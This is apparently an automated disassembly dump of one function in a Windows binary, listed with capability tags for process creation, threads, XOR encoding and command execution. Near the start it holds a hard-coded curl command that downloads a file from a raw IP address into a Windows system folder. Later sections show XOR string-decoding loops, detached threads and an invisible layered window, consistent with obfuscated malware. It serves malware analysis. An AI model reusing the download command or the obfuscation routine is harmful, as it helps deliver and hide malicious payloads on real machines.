Function at 0x140066b10
Capabilities:
Create process on windows
Create thread
Encode data using xor
Execute command
Terminate process

Disassembly:
push rbp
push rdi
lea rbp, [rsp - 0x6a8]
sub rsp, 0x7a8
mov rax, qword [0x1400a8010]
xor rax, rsp
mov qword [rbp + 0x5e0], rax
movups xmm1, xmmword [0x140094540]
lea rdx, [rbp + 0x120]
xorps xmm0, xmm0
movups xmmword [rbp + 0x130], xmm1
movups xmm1, xmmword [0x140094560]
xor eax, eax
movups xmmword [rbp + 0x294], xmm0
mov dword [rbp + 0x2f4], eax
xor edi, edi
movups xmmword [rbp + 0x2a4], xmm0
mov qword [rbp + 0xa8], rax
xor r9d, r9d
mov eax, dword [0x1400945a0]
xor r8d, r8d
movups xmmword [rbp + 0x2b4], xmm0
mov dword [rbp + 0x190], eax
lea rax, [rbp + 0x98]
mov qword [rsp + 0x48], rax
xor ecx, ecx
movups xmmword [rbp + 0x2c4], xmm0
lea rax, [rbp + 0x290]
mov dword [rbp + 0x290], WSAGetLastError
movups xmmword [rbp + 0x2d4], xmm0
mov qword [rsp + 0x40], rax
movups xmmword [rbp + 0x2e4], xmm0
mov qword [rsp + 0x38], rdi
movups xmmword [rbp + 0x98], xmm0
mov qword [rsp + 0x30], rdi
movups xmm0, xmmword [str.curl_http:__45.90.13.244_Shield_LuminYellow.png___output_C:_Windows_Globalization_Sorting_LuminYellow.png__nul_2_1]
movups xmmword [rbp + 0x120], xmm0
movups xmm0, xmmword [0x140094550]
movups xmmword [rbp + 0x140], xmm0
movups xmm0, xmmword [0x140094570]
movups xmmword [rbp + 0x160], xmm0
movups xmm0, xmmword [0x140094590]
movups xmmword [rbp + 0x150], xmm1
movups xmm1, xmmword [0x140094580]
mov dword [rsp + 0x28], 0x8000000
movups xmmword [rbp + 0x180], xmm0
mov dword [rsp + 0x20], edi
movups xmmword [rbp + 0x170], xmm1
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
mov rcx, qword [rbp + 0x98]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp + 0x98]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0xa0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [rdi + 8]
call fcn.14008459c
lea rcx, [0x140063690]
mov r9, rax
lea r8, [0x14007c880]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x338]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x330], rax
test rax, rax
je 0x14006aef3
mov qword [rsp + 0x7d0], r12
cmp dword [rbp + 0x338], edi
je 0x14006aee7
movaps xmm0, xmmword [rbp + 0x330]
lea rcx, [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x140066cdc
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
xorps xmm0, xmm0
mov ecx, 8
movdqa xmmword [rbp + 0x330], xmm0
call fcn.14008459c
lea rcx, [0x140064610]
mov r9, rax
lea r8, [0x14007c880]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x328]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x320], rax
test rax, rax
je 0x14006aed5
cmp dword [rbp + 0x328], edi
je 0x14006aee7
movaps xmm0, xmmword [rbp + 0x320]
lea rcx, [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x140066d5e
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
xorps xmm0, xmm0
mov ecx, 8
movdqa xmmword [rbp + 0x320], xmm0
call fcn.14008459c
lea rcx, [0x1400668b0]
mov r9, rax
lea r8, [0x14007c880]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rbp + 0x348]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rbp + 0x340], rax
test rax, rax
je 0x14006aec3
cmp dword [rbp + 0x348], edi
je 0x14006aee7
movaps xmm0, xmmword [rbp + 0x340]
lea rcx, [rbp + 0x60]
movdqa xmmword [rbp + 0x60], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
je 0x140066de0
mov ecx, eax
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_C_error_int_]
int3
mov qword [rsp + 0x7c0], rbx
xorps xmm0, xmm0
mov qword [rsp + 0x7a0], r13
xor ecx, ecx
mov qword [rsp + 0x798], r14
mov qword [rsp + 0x790], r15
movaps xmmword [rsp + 0x780], xmm6
movaps xmmword [rsp + 0x770], xmm7
movaps xmmword [rsp + 0x760], xmm8
movdqa xmmword [rbp + 0x340], xmm0
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov r12d, 1
mov ecx, r12d
call qword [sym.imp.USER32.dll_GetSystemMetrics]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, 0x7f00
mov qword [rbp + 0x200], 0x50
mov rbx, rax
mov qword [rbp + 0x210], rdi
lea rax, [0x140066aa0]
mov qword [rbp + 0x218], rbx
xor ecx, ecx
mov qword [rbp + 0x208], rax
call qword [sym.imp.USER32.dll_LoadCursorW]
xor ecx, ecx
mov qword [rbp + 0x228], rax
call qword [sym.imp.GDI32.dll_CreateSolidBrush]
cmp word [0x140095316], di
lea r15d, [r12 + 4]
movups xmm0, xmmword [str.x__VjRRYQZ_]
lea r14d, [r12 + 0x1e]
mov r13d, dword [reloc.WS2_32.dll_accept]
movsd xmm1, qword [0x140095310]
movups xmmword [rbp + 0x98], xmm0
mov qword [rbp + 0x230], rax
mov qword [rbp + 0x238], rdi
movsd qword [rbp + 0xa8], xmm1
je 0x140067028
mov r8d, edi
cmp r13d, 2
jl 0x140066fdc
movdqa xmm2, xmmword [0x140096210]
mov r8d, 8
movdqa xmm3, xmmword [0x140096260]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140096800]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r15d
movd xmm5, r14d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096270]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [str.x__VjRRYQZ_]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
paddw xmm2, xmmword [0x1400962d0]
pxor xmm2, xmm0
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movq qword [rbp + 0x98], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096270]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + 0xa0]
pshufd xmm2, xmm1, 0xd8
paddw xmm2, xmmword [0x1400962d0]
pxor xmm2, xmm0
movq qword [rbp + 0xa0], xmm2
mov eax, r8d
lea r9, [rbp + 0x98]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0xc
jl 0x140066ff0
lea rax, [rbp + 0x98]
mov qword [rsp + 0x7c8], rsi
mov edx, 0x7f00
mov qword [rbp + 0x240], rax
mov rcx, rbx
movaps xmmword [rsp + 0x750], xmm9
call qword [sym.imp.USER32.dll_LoadIconW]
mov edx, 0x7f00
mov rcx, rbx
mov qword [rbp + 0x220], rax
call qword [sym.imp.USER32.dll_LoadIconW]
lea rcx, [rbp + 0x200]
mov qword [rbp + 0x248], rax
call qword [sym.imp.USER32.dll_RegisterClassExW]
test ax, ax
jne 0x1400672d2
movsd xmm0, qword [0x140095070]
mov ecx, 0x45
mov eax, dword [0x140095078]
movups xmm1, xmmword [0x140095b30]
mov dword [rbp + 0x68], eax
movzx eax, word [0x14009507c]
xor word [rbp + 0x68], 0x38
xor ax, 0x3a
xor word [rbp + 0x6a], 0x39
movsd qword [rbp + 0x60], xmm0
movups xmm0, xmmword [str.cXSWN]
xor word [rbp + 0x62], 0x35
xor word [rbp + 0x64], 0x36
xor word [rbp + 0x66], 0x37
mov word [rbp + 0x60], cx
mov word [rbp + 0x6c], ax
movups xmmword [rbp + 0x290], xmm0
movups xmm0, xmmword [0x140095b40]
movups xmmword [rbp + 0x2a0], xmm1
movsd xmm1, qword [0x140095b50]
movsd qword [rbp + 0x2c0], xmm1
movups xmmword [rbp + 0x2b0], xmm0
cmp r13d, 2
jl 0x140067246
movdqa xmm5, xmmword [0x140096210]
lea rcx, [rbp + 0x290]
movdqa xmm4, xmmword [0x140096800]
movdqa xmm7, xmmword [0x140096270]
movdqa xmm9, xmmword [0x1400962d0]
movd xmm6, r15d
movd xmm8, r14d
nop dword [rax]
nop dword [rax + rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add edi, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
pxor xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp edi, 0x18
jl 0x140067150
cmp edi, 0x1c
jge 0x140067293
movsxd rax, edi
lea r8, [rbp + 0x290]
lea r8, [r8 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 2]
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, di
inc edi
sub ax, cx
add ax, 0x34
xor word [r8 - 2], ax
cmp edi, 0x1c
jl 0x140067260
mov r9d, 0x30
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x290]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp dword [rbp + 0x348], 0
jne 0x1400672cb
cmp dword [rbp + 0x328], 0
jne 0x1400672cb
cmp dword [rbp + 0x338], 0
je 0x1400678d3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
mov eax, dword [0x140095788]
mov r8d, edi
movsd xmm1, qword [0x140095780]
mov dword [rbp + 0x3b0], eax
movzx eax, word [0x14009578c]
mov word [rbp + 0x3b4], ax
mov byte [rbp + 0x258], dil
movsd qword [rbp + 0x3a8], xmm1
movups xmm0, xmmword [str.x__VjRRYQZ]
movups xmmword [rbp + 0x398], xmm0
cmp r13d, 2
jl 0x140067425
movdqa xmm2, xmmword [0x140096210]
mov r8d, 8
movdqa xmm4, xmmword [0x140096800]
movdqa xmm1, xmm2
movdqa xmm8, xmmword [0x1400962d0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r15d
movd xmm5, r14d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096270]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [str.x__VjRRYQZ]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movdqa xmm2, xmmword [0x140096260]
pxor xmm3, xmm0
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movq qword [rbp + 0x398], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096270]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + 0x3a0]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
pxor xmm3, xmm0
movq qword [rbp + 0x3a0], xmm3
mov eax, r8d
lea r9, [rbp + 0x398]
lea r9, [r9 + rax*2]
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0xf
jl 0x140067440
cmp word [0x140095316], di
movups xmm0, xmmword [str.x__VjRRYQZ_]
movsd xmm1, qword [0x140095310]
movups xmmword [rbp + 0x98], xmm0
movsd qword [rbp + 0xa8], xmm1
je 0x140067608
mov r8d, edi
cmp r13d, 2
jl 0x1400675b7
movdqa xmm2, xmmword [0x140096210]
mov r8d, 8
movdqa xmm4, xmmword [0x140096800]
movdqa xmm1, xmm2
movdqa xmm8, xmmword [0x1400962d0]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movd xmm6, r15d
movd xmm5, r14d
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096270]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [str.x__VjRRYQZ_]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movdqa xmm2, xmmword [0x140096260]
pxor xmm3, xmm0
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movq qword [rbp + 0x98], xmm3
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140096270]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm8
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rbp + 0xa0]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
pxor xmm3, xmm0
movq qword [rbp + 0xa0], xmm3
mov eax, r8d
lea r9, [rbp + 0x98]
lea r9, [r9 + rax*2]
nop word [rax + rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 2]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, r8w
inc r8d
sub ax, cx
add ax, 0x34
xor word [r9 - 2], ax
cmp r8d, 0xc
jl 0x1400675d0
mov qword [rsp + 0x58], rdi
lea r8, [rbp + 0x398]
mov qword [rsp + 0x50], rbx
lea rdx, [rbp + 0x98]
mov qword [rsp + 0x48], rdi
mov r9d, 0x80000000
mov qword [rsp + 0x40], rdi
mov ecx, 0x80000
mov dword [rsp + 0x38], 0x438
mov dword [rsp + 0x30], 0x780
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
call qword [sym.imp.USER32.dll_CreateWindowExW]
mov r9d, r12d
xor r8d, r8d
mov rcx, rax
xor edx, edx
mov rsi, rax
call qword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
xor r9d, r9d
lea r8, [rbp + 0x258]
xor edx, edx
mov rcx, rsi
call qword [sym.imp.USER32.dll_GetLayeredWindowAttributes]
test rsi, rsi
jne 0x1400678da
mov eax, dword [0x140095078]
mov ecx, 0x45
movsd xmm0, qword [0x140095070]
movups xmm1, xmmword [0x140094948]
mov dword [rbp + 0x68], eax
movzx eax, word [0x14009507c]
xor word [rbp + 0x68], 0x38
xor ax, 0x3a
xor word [rbp + 0x6a], 0x39
movsd qword [rbp + 0x60], xmm0
movups xmm0, xmmword [0x140094938]
xor word [rbp + 0x62], 0x35
xor word [rbp + 0x64], 0x36
xor word [rbp + 0x66], 0x37
mov word [rbp + 0x6c], ax
mov eax, dword [0x140094968]
mov dword [rbp + 0x2c0], eax
movzx eax, word [0x14009496c]
mov word [rbp + 0x60], cx
mov word [rbp + 0x2c4], ax
movups xmmword [rbp + 0x290], xmm0
movups xmm0, xmmword [0x140094958]
movups xmmword [rbp + 0x2a0], xmm1
movups xmmword [rbp + 0x2b0], xmm0
cmp r13d, 2
jl 0x140067846
movdqa xmm5, xmmword [0x140096210]
lea rcx, [rbp + 0x290]
movdqa xmm4, xmmword [0x140096800]
movdqa xmm7, xmmword [0x140096270]
movdqa xmm9, xmmword [0x1400962d0]
movd xmm6, r15d
movd xmm8, r14d
nop dword [rax]
movd xmm2, edi
lea eax, [rdi + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add edi, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 8]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
pxor xmm3, xmm0
movq qword [rcx - 8], xmm3
cmp edi, 0x18
jl 0x140067750
cmp edi, 0x1b
jge 0x140067893
movsxd rax, edi
lea r8, [rbp + 0x290]
lea r8, [r8 + rax*2]
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8fb823ef
lea r8, [r8 + 2]
imul edi
add edx, edi
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x39
movzx eax, di
inc edi
sub ax, cx
add ax, 0x34
xor word [r8 - 2], ax
cmp edi, 0x1b
jl 0x140067860
mov r9d, 0x30
lea r8, [rbp + 0x60]
lea rdx, [rbp + 0x290]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
cmp dword [rbp + 0x348], 0
jne 0x1400672cb
cmp dword [rbp + 0x328], 0
jne 0x1400672cb
cmp dword [rbp + 0x338], 0
jne 0x1400672cb
xor eax, eax
jmp 0x14006af3b
lea rax, [0x14015b068]
mov qword [rbp + 0xe4], rdi
mov qword [rsp + 0x58], rax
xor r9d, r9d
lea rax, [rbp + 0x360]
mov qword [rbp + 0xf8], 2
mov qword [rsp + 0x50], rax
xor r8d, r8d
lea rax, [0x14015b060]
mov qword [rbp + 0x110], 2
mov qword [rsp + 0x48], rax
mov edx, r12d
lea rax, [0x14015b078]
mov dword [rbp + 0xd0], 0x780
mov qword [rsp + 0x40], rax
xor ecx, ecx
lea rax, [rbp + 0xd0]
mov dword [rbp + 0xd4], 0x438
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x350]
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], r12d
mov qword [rsp + 0x20], rax
mov dword [rbp + 0xe0], 0x1c
mov dword [rbp + 0xd8], 0x3c
mov dword [rbp + 0xdc], r12d
mov dword [rbp + 0xf4], 0x20
mov qword [rbp + 0x100], rsi
mov qword [rbp + 0xec], r12
mov qword [rbp + 0x108], r12
mov dword [rbp + 0x350], 0xb000
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
cmp byte [0x140095fd1], dil
mov ebx, eax
movups xmm0, xmmword [0x140095fb8]
movzx ecx, word [0x140095fd0]
movsd xmm1, qword [0x140095fc8]
movups xmmword [rbp + 0x290], xmm0
mov word [rbp + 0x2a8], cx
movsd qword [rbp + 0x2a0], xmm1
je 0x140067b94
mov r8d, edi
cmp r13d, 2
jl 0x140067b51
movdqa xmm0, xmmword [str.4444444444444444]
lea rcx, [rbp + 0x290]
movdqa xmm5, xmmword [0x140096210]
movdqa xmm4, xmmword [0x140096800]
movdqa xmm7, xmmword [0x140096270]
movdqa xmmword [rbp + 0x70], xmm0
mov edx, dword [rbp + 0x70]
movd xmm6, r15d
movd xmm8, r14d
nop word [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add r8d, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
pand xmm2, xmmword [0x1400962e0]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rcx - 8], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, edx
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1400962e0]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
pxor xmm2, xmm0
movd dword [rcx - 4], xmm2
cmp r8d, 0x18
jl 0x140067a40
cmp r8d, 0x1a
jge 0x140067b94
movsxd rax, r8d
lea r9, [rbp + 0x290]
add r9, rax
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x39
movzx eax, r8b
inc r8d
sub al, cl
add al, 0x34
xor byte [r9 - 1], al
cmp r8d, 0x1a
jl 0x140067b60
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [rbp + 0x290]
call fcn.14006e4d0
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___long_int____ptr64]
mov rcx, rax
lea rdx, [0x140072db0]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov rcx, qword [0x14015b078]
lea r9, [rbp + 0xc0]
mov qword [rbp + 0xc0], rdi
lea r8, [0x1400952f0]
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rdx, qword [rbp + 0xc0]
test rdx, rdx
je 0x140067c16
mov rcx, qword [0x14015b060]
lea r9, [0x14015b070]
xor r8d, r8d
mov rax, qword [rcx]
call qword [rax + 0x48]
mov rcx, qword [rbp + 0xc0]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
movaps xmmword [rsp + 0x740], xmm10
movaps xmmword [rsp + 0x730], xmm11
movaps xmmword [rsp + 0x720], xmm12
movaps xmmword [rsp + 0x710], xmm13
movaps xmmword [rsp + 0x700], xmm14
movaps xmmword [rsp + 0x6f0], xmm15
test ebx, ebx
jns 0x140068554
cmp ebx, 0x887a0001
jne 0x1400680b8
cmp word [0x140094932], di
movsd xmm0, qword [str.qGDXJ9]
mov eax, dword [0x140094930]
movsd qword [rsp + 0x60], xmm0
mov dword [rsp + 0x68], eax
je 0x140067ca9
xor word [rsp + 0x62], 0x35
mov ecx, 0x45
xor word [rsp + 0x64], 0x36
xor word [rsp + 0x66], 0x37
xor word [rsp + 0x68], 0x38
xor word [rsp + 0x6a], 0x39
mov word [rsp + 0x60], cx
movups xmm0, xmmword [0x140094f30]
mov r8d, edi
movups xmm1, xmmword [0x140094f40]
movzx eax, word [0x140094fa0]
movups xmmword [rbp + 0x290], xmm0
movups xmm0, xmmword [0x140094f50]
movups xmmword [rbp + 0x2b0], xmm0
movups xmm0, xmmword [0x140094f70]
movups xmmword [rbp + 0x2a0], xmm1
movups xmm1, xmmword [0x140094f60]
movups xmmword [rbp + 0x2d0], xmm0
movups xmm0, xmmword [0x140094f90]
movups xmmword [rbp + 0x2c0], xmm1
movups xmm1, xmmword [0x140094f80]
movups xmmword [rbp + 0x2f0], xmm0
movups xmmword [rbp + 0x2e0], xmm1
mov word [rbp + 0x300], ax
cmp r13d, 2
jl 0x140067e5b
movdqa xmm5, xmmword [0x140096210]
lea rcx, [rbp + 0x290]
movdqa xmm4, xmmword [0x140096800]
movdqa xmm7, xmmword [0x140096270]
movdqa xmm9, xmmword [0x1400962d0]
movd xmm6, r15d
movd xmm8, r14d
nop dword [rax + rax]
movd xmm2, r8d
lea eax, [r8 + 4]
pshufd xmm2, xmm2, 0
lea rcx, [rcx + 0x10]
paddd xmm2, xmm5
add r8d, 8
movdqa xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
movq xmm2, xmm9
pshufhw xmm1, xmm0, 0xd8
movq xmm0, qword [rcx - 0x10]
pshufd xmm3, xmm1, 0xd8
paddw xmm3, xmm2
movd xmm2, eax
pshufd xmm2, xmm2, 0
pxor xmm3, xmm0
movq qword [rcx - 0x10], xmm3
paddd xmm2, xmm5
movdqa xmm1, xmm2
movdqa xmm0, xmm2
